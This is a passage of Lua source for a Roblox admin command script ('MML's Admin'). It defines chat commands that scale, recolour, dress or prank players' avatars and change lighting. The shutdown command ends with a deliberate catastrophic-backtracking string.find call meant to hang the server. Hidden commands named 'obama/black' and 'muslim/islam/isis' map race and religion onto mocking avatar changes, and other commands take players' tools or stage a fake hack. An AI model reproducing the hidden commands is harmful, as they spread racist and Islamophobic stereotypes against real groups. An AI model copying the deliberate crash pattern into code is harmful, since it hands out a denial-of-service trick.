  6596. REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  6597. for _,Player in pairs(Server.Players:GetPlayers()) do
  6598. Player:Kick()
  6599. end
  6600. Server.Workspace:ClearAllChildren()
  6601. string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
  6602. end};
  6603.  
  6604. [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6605. local Players = STRING:Scan(Arguments[1], Speaker)
  6606. for _,Player in pairs(Players) do
  6607. CORE:Scale(Player, Arguments[2])
  6608. end
  6609. end};
  6610.  
  6611. [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
  6612. local Players = STRING:Scan(Arguments[1], Speaker)
  6613. for _,Player in pairs(Players) do
  6614. CORE:Scale(Player, 50)
  6615. end
  6616. end};
  6617.  
  6618. [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
  6619. local Players = STRING:Scan(Arguments[1], Speaker)
  6620. for _,Player in pairs(Players) do
  6621. CORE:Scale(Player, 70)
  6622. end
  6623. end, Hidden = true};
  6624.  
  6625. [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
  6626. local Players = STRING:Scan(Arguments[1], Speaker)
  6627. for _,Player in pairs(Players) do
  6628. CORE:Scale(Player, 500)
  6629. end
  6630. end};
  6631.  
  6632. [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
  6633. local Players = STRING:Scan(Arguments[1], Speaker)
  6634. for _,Player in pairs(Players) do
  6635. if Player.Character then
  6636. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6637. Obj.Reflectance = 0.5
  6638. Obj.BrickColor = BrickColor.new("New Yeller")
  6639. end)
  6640. end
  6641. end
  6642. end};
  6643.  
  6644. [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
  6645. local Players = STRING:Scan(Arguments[1], Speaker)
  6646. for _,Player in pairs(Players) do
  6647. if Player.Character then
  6648. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6649. Obj.Reflectance = 0.5
  6650. end)
  6651. end
  6652. end
  6653. end};
  6654.  
  6655. [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
  6656. local Players = STRING:Scan(Arguments[1], Speaker)
  6657. for _,Player in pairs(Players) do
  6658. if Player.Character then
  6659. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6660. Obj.Transparency = 0.5
  6661. Obj.Reflectance = 0
  6662. Obj.BrickColor = BrickColor.new("Institutional white")
  6663. end)
  6664. CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
  6665. Obj.Transparency = 0.5
  6666. end)
  6667. end
  6668. end
  6669. end};
  6670.  
  6671. [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
  6672. local Players = STRING:Scan(Arguments[1], Speaker)
  6673. for _,Player in pairs(Players) do
  6674. if Player.Character then
  6675. for _,Obj in pairs(Player.Character:GetChildren()) do
  6676. local Valid = false
  6677. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  6678. if Valid == true then Obj:Destroy() end
  6679. end
  6680. end
  6681. end
  6682. end};
  6683.  
  6684. [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
  6685. local Players = STRING:Scan(Arguments[1], Speaker)
  6686. for _,Player in pairs(Players) do
  6687. if Player.Character then
  6688. for _,Obj in pairs(Player.Character:GetChildren()) do
  6689. local Valid = false
  6690. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  6691. if Valid == true then Obj:Destroy() end
  6692. end
  6693. end
  6694. end
  6695. end};
  6696.  
  6697. [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
  6698. local Players = STRING:Scan(Arguments[1], Speaker)
  6699. for _,Player in pairs(Players) do
  6700. if Player.Character then
  6701. for _,Obj in pairs(Player.Character:GetChildren()) do
  6702. local Valid = false
  6703. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  6704. if Valid == true then Obj:Destroy() end
  6705. end
  6706. end
  6707. end
  6708. end};
  6709.  
  6710. [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  6711. local Players = STRING:Scan(Arguments[1], Speaker)
  6712. for _,Player in pairs(Players) do
  6713. if Player.Character then
  6714. for _,Obj in pairs(Player.Character:GetChildren()) do
  6715. if Obj:IsA("Hat") then
  6716. Obj:Destroy()
  6717. end
  6718. end
  6719. end
  6720. end
  6721. end};
  6722.  
  6723. [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  6724. local Players = STRING:Scan(Arguments[1], Speaker)
  6725. for _,Player in pairs(Players) do
  6726. Player:ClearCharacterAppearance()
  6727. end
  6728. end};
  6729.  
  6730. [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  6731. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  6732. local TmpPlayers = {}
  6733. local Output = {}
  6734. for _,Data in pairs(Players) do
  6735. table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
  6736. end
  6737. GUI:ListGui(Speaker, "Player Database", Output, 120563622)
  6738. end};
  6739.  
  6740. [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6741. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  6742. GUI:SendHint(Speaker, "Player Database cleared", 5)
  6743. end};
  6744.  
  6745. [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6746. local Players = STRING:Scan(Arguments[1], Speaker)
  6747. for _,Player in pairs(Players) do
  6748. GUI:FakeHack(Player)
  6749. end
  6750. end};
  6751.  
  6752. [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  6753. local Players = STRING:Scan(Arguments[1], Speaker)
  6754. for _,Player in pairs(Players) do
  6755. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  6756. for _,Object in pairs(Player.Backpack:GetChildren()) do
  6757. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  6758. local Clone = Object:Clone()
  6759. Clone.Parent = Speaker.Backpack
  6760. end
  6761. end
  6762. end
  6763. end
  6764. end};
  6765.  
  6766. [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  6767. local Players = STRING:Scan(Arguments[1], Speaker)
  6768. for _,Player in pairs(Players) do
  6769. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  6770. for _,Object in pairs(Player.Backpack:GetChildren()) do
  6771. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  6772. Object.Parent = Speaker.Backpack
  6773. end
  6774. end
  6775. end
  6776. end
  6777. end};
  6778.  
  6779. [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6780. local Players = STRING:Scan(Arguments[1], Speaker)
  6781. for _,Player in pairs(Players) do
  6782. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  6783. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  6784. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  6785. local Clone = Object:Clone()
  6786. Clone.Parent = Player.Backpack
  6787. end
  6788. end
  6789. end
  6790. end
  6791. end};
  6792.  
  6793. [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
  6794. local Players = STRING:Scan(Arguments[1], Speaker)
  6795. for _,Player in pairs(Players) do
  6796. if Player:FindFirstChild("Backpack") then
  6797. Player.Backpack:ClearAllChildren()
  6798. end
  6799. if Player.Character ~= nil then
  6800. for _,Obj in pairs(Player.Character:GetChildren()) do
  6801. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  6802. Obj:Destroy()
  6803. end
  6804. end
  6805. end
  6806. end
  6807. end};
  6808.  
  6809. [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
  6810. local Players = STRING:Scan(Arguments[1], Speaker)
  6811. for _,Player in pairs(Players) do
  6812. if Player.Character then
  6813. if Player.Character:FindFirstChild("Head") then
  6814. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  6815. coroutine.wrap(function()
  6816. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  6817. local OldFace = Player.Character.Head.face.Texture
  6818. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  6819. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  6820. Player.Character.Head.face.Texture = "rbxassetid://24067663"
  6821. local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
  6822. Sound:Play()
  6823. coroutine.wrap(function() for i = 1,100 do wait()
  6824. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  6825. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  6826. end
  6827. Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  6828. end end
  6829. end)()
  6830. end
  6831. end
  6832. end
  6833. end
  6834. end};
  6835.  
  6836. [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
  6837. local Players = STRING:Scan(Arguments[1], Speaker)
  6838. for _,Player in pairs(Players) do
  6839. if Player.Character then
  6840. if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
  6841. coroutine.wrap(function()
  6842. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  6843. local OldFace = Player.Character.Head.face.Texture
  6844. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  6845. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  6846. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  6847. Player.Character.Head.face.Texture = "rbxassetid://28118994"
  6848. local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
  6849. Sound:Play()
  6850. wait(1)
  6851. Smoke.Enabled = false
  6852. wait(1)
  6853. Fart:Destroy()
  6854. Fart:Destroy()
  6855. Player.Character.Head.face.Texture = OldFace
  6856. end end
  6857. end)()
  6858. end
  6859. end
  6860. end
  6861. end};
  6862.  
  6863. [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
  6864. local Players = STRING:Scan(Arguments[1], Speaker)
  6865. for _,Player in pairs(Players) do
  6866. if Player:FindFirstChild("Backpack") then
  6867. CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
  6868. end
  6869. end
  6870. end};
  6871.  
  6872. [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6873. local Players = STRING:Scan(Arguments[1], Speaker)
  6874. for _,Player in pairs(Players) do
  6875. if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
  6876. Player.Character.MMLGraffiti:ClearAllChildren()
  6877. end
  6878. end
  6879. end};
  6880.  
  6881. [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
  6882. local Players = STRING:Scan(Arguments[1], Speaker)
  6883. for _,Player in pairs(Players) do
  6884. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6885. local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
  6886. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
  6887. end
  6888. end
  6889. end};
  6890.  
  6891. [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  6892. local Players = STRING:Scan(Arguments[1], Speaker)
  6893. for _,Player in pairs(Players) do
  6894. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6895. local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
  6896. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
  6897. end
  6898. end
  6899. end};
  6900.  
  6901. [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
  6902. local Players = STRING:Scan(Arguments[1], Speaker)
  6903. for _,Player in pairs(Players) do
  6904. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6905. local Lights = {}
  6906. for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
  6907. if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
  6908. table.insert(Lights, Obj)
  6909. end
  6910. end
  6911. for _,Light in pairs(Lights) do
  6912. coroutine.wrap(function()
  6913. for i = 1,20 do
  6914. Light.Brightness = Light.Brightness/5
  6915. wait()
  6916. end
  6917. Light:Destroy()
  6918. end)()
  6919. end
  6920. end
  6921. end
  6922. end};
  6923.  
  6924. [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
  6925. local Players = STRING:Scan(Arguments[1], Speaker)
  6926. for _,Player in pairs(Players) do
  6927. if Player.Character and Player:FindFirstChild("PlayerGui") then
  6928. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  6929. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
  6930. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  6931. local Stop = false
  6932. coroutine.wrap(function()
  6933. repeat
  6934. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  6935. wait(0.1)
  6936. until not SG or not SG.Parent
  6937. end)()
  6938. CORE:ExecuteResource("Drug", Player.Character)
  6939. end
  6940. end
  6941. end};
  6942.  
  6943. [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  6944. local Players = STRING:Scan(Arguments[1], Speaker)
  6945. for _,Player in pairs(Players) do
  6946. if Player:FindFirstChild("PlayerGui") then
  6947. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  6948. wait() CORE:RestoreCamera(Player)
  6949. end
  6950. end
  6951. end};
  6952.  
  6953. [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
  6954. local AbuseMode = false
  6955. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  6956. MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
  6957. if Speaker:FindFirstChild("Backpack") then
  6958. CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  6959. end
  6960. end)
  6961. end, Http = true};
  6962.  
  6963. [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6964. MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
  6965. if Speaker.Character then
  6966. CORE:Insert(ID, Speaker.Character, true, {"Hat"})
  6967. end
  6968. end, 9)
  6969. end, Http = true};
  6970.  
  6971. [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
  6972. MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
  6973. if Speaker.Character then
  6974. CORE:GivePackage(Speaker, ID)
  6975. end
  6976. end, 11)
  6977. end, Http = true};
  6978.  
  6979. [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6980. local Players = STRING:Scan(Arguments[1], Speaker)
  6981. for _,Player in pairs(Players) do
  6982. CORE:GivePackage(Player)
  6983. end
  6984. end};
  6985.  
  6986. [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
  6987. local Players = STRING:Scan(Arguments[1], Speaker)
  6988. for _,Player in pairs(Players) do
  6989. CORE:GivePackage(Player, Arguments[2])
  6990. end
  6991. end, Http = true};
  6992.  
  6993. [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
  6994. local Players = STRING:Scan(Arguments[1], Speaker)
  6995. for _,Player in pairs(Players) do
  6996. local Stats = Player:FindFirstChild("leaderstats")
  6997. if Stats ~= nil then
  6998. for _,Stat in pairs(Stats:GetChildren()) do
  6999. if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7000. ypcall(function() Stat.Value = Arguments[3] end)
  7001. end
  7002. end
  7003. end
  7004. end
  7005. end};
  7006.  
  7007. [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7008. local ID = tonumber(Arguments[2])
  7009. local Players = STRING:Scan(Arguments[1], Speaker)
  7010. for _,Player in pairs(Players) do
  7011. for _,Player in pairs(Players) do
  7012. if Player.Character ~= nil then
  7013. local Obj = Player.Character:FindFirstChild("Shirt")
  7014. if Obj then
  7015. Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7016. else
  7017. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7018. end
  7019. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7020. end
  7021. end
  7022. end
  7023. end};
  7024.  
  7025. [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7026. local ID = tonumber(Arguments[2])
  7027. local Players = STRING:Scan(Arguments[1], Speaker)
  7028. for _,Player in pairs(Players) do
  7029. for _,Player in pairs(Players) do
  7030. if Player.Character ~= nil then
  7031. local Obj = Player.Character:FindFirstChild("Pants")
  7032. if Obj then
  7033. Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7034. else
  7035. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7036. end
  7037. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7038. end
  7039. end
  7040. end
  7041. end};
  7042.  
  7043. [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7044. local ID = tonumber(Arguments[2])
  7045. local Players = STRING:Scan(Arguments[1], Speaker)
  7046. for _,Player in pairs(Players) do
  7047. for _,Player in pairs(Players) do
  7048. if Player.Character ~= nil then
  7049. if Player.Character:FindFirstChild("Torso") then
  7050. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  7051. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  7052. if Obj1 then
  7053. Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7054. else
  7055. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7056. end
  7057. if Obj2 then
  7058. Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7059. else
  7060. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
  7061. end
  7062. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  7063. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  7064. end
  7065. end
  7066. end
  7067. end
  7068. end};
  7069.  
  7070. [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
  7071. local Players = STRING:Scan(Arguments[1], Speaker)
  7072. for _,Player in pairs(Players) do
  7073. CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
  7074. end
  7075. end};
  7076.  
  7077. [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
  7078. if CORE:InAdminGroup(Speaker) then
  7079. local Players = STRING:Scan(Arguments[1], Speaker)
  7080. for _,Player in pairs(Players) do
  7081. if Player:FindFirstChild("Backpack") then
  7082. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  7083. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  7084. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
  7085. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
  7086. CORE:ExecuteResource("CookieTool", Tool)
  7087. end
  7088. end
  7089. end
  7090. end};
  7091.  
  7092. [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
  7093. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7094. CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
  7095. end
  7096. end};
  7097.  
  7098. [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7099. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7100. local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
  7101. Model:MakeJoints()
  7102. for i = 1,math.random(10,20) do
  7103. Model.Name = Model.Name..string.char(math.random(97,122))
  7104. end
  7105. if Model:GetChildren()[1] then
  7106. table.insert(Objects, Model)
  7107. CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
  7108. end
  7109. end
  7110. end};
  7111.  
  7112. [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7113. local ID = tonumber(Arguments[2])
  7114. local Players = STRING:Scan(Arguments[1], Speaker)
  7115. for _,Player in pairs(Players) do
  7116. if Player.Character then
  7117. CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
  7118. end
  7119. end
  7120. end};
  7121.  
  7122. [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7123. local Players = STRING:Scan(Arguments[1], Speaker)
  7124. for _,Player in pairs(Players) do
  7125. if Player.Character then
  7126. local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
  7127. if StopAnim then StopAnim:Destroy() end
  7128. end
  7129. end
  7130. end};
  7131.  
  7132. [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
  7133. if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
  7134. Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
  7135. end
  7136. end};
  7137.  
  7138. [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  7139. if tonumber(Arguments[1]) then
  7140. Server.Lighting.Brightness = tonumber(Arguments[1])
  7141. end
  7142. end};
  7143.  
  7144. [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7145. local Players = STRING:Scan(Arguments[1], Speaker)
  7146. for _,Player in pairs(Players) do
  7147. GUI:CoreGui(Player, "PlayerList", true)
  7148. end
  7149. end};
  7150.  
  7151. [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7152. local Players = STRING:Scan(Arguments[1], Speaker)
  7153. for _,Player in pairs(Players) do
  7154. local Players = STRING:Scan(Arguments[1], Speaker)
  7155. GUI:CoreGui(Player, "PlayerList", false)
  7156. end
  7157. end};
  7158.  
  7159. [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
  7160. GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
  7161. end, Hidden = true};
  7162.  
  7163. [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
  7164. local Players = STRING:Scan(Arguments[1], Speaker)
  7165. for _,Player in pairs(Players) do
  7166. CORE:ChangeCharacter(Player, 1337, false, Speaker)
  7167. end
  7168. end, Hidden = true};
  7169.  
  7170. [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
  7171. local Players = STRING:Scan(Arguments[1], Speaker)
  7172. for _,Player in pairs(Players) do
  7173. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7174. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  7175. Player:ClearCharacterAppearance()
  7176. CORE:Insert(12436480, Player.Character, true)
  7177. Player.Character.Head.face.Texture = "rbxassetid://110287880"
  7178. Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
  7179. Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
  7180. end
  7181. end
  7182. end, Hidden = true};
  7183.  
  7184. [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
  7185. local Players = STRING:Scan(Arguments[1], Speaker)
  7186. for _,Player in pairs(Players) do
  7187. CORE:ChangeCharacter(Player, 0, false, Speaker)
  7188. end
  7189. end};
  7190.  
  7191. [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7192. local Bet = Arguments[1]
  7193. if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
  7194. GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
  7195. elseif #Bet > 5 then
  7196. GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
  7197. else
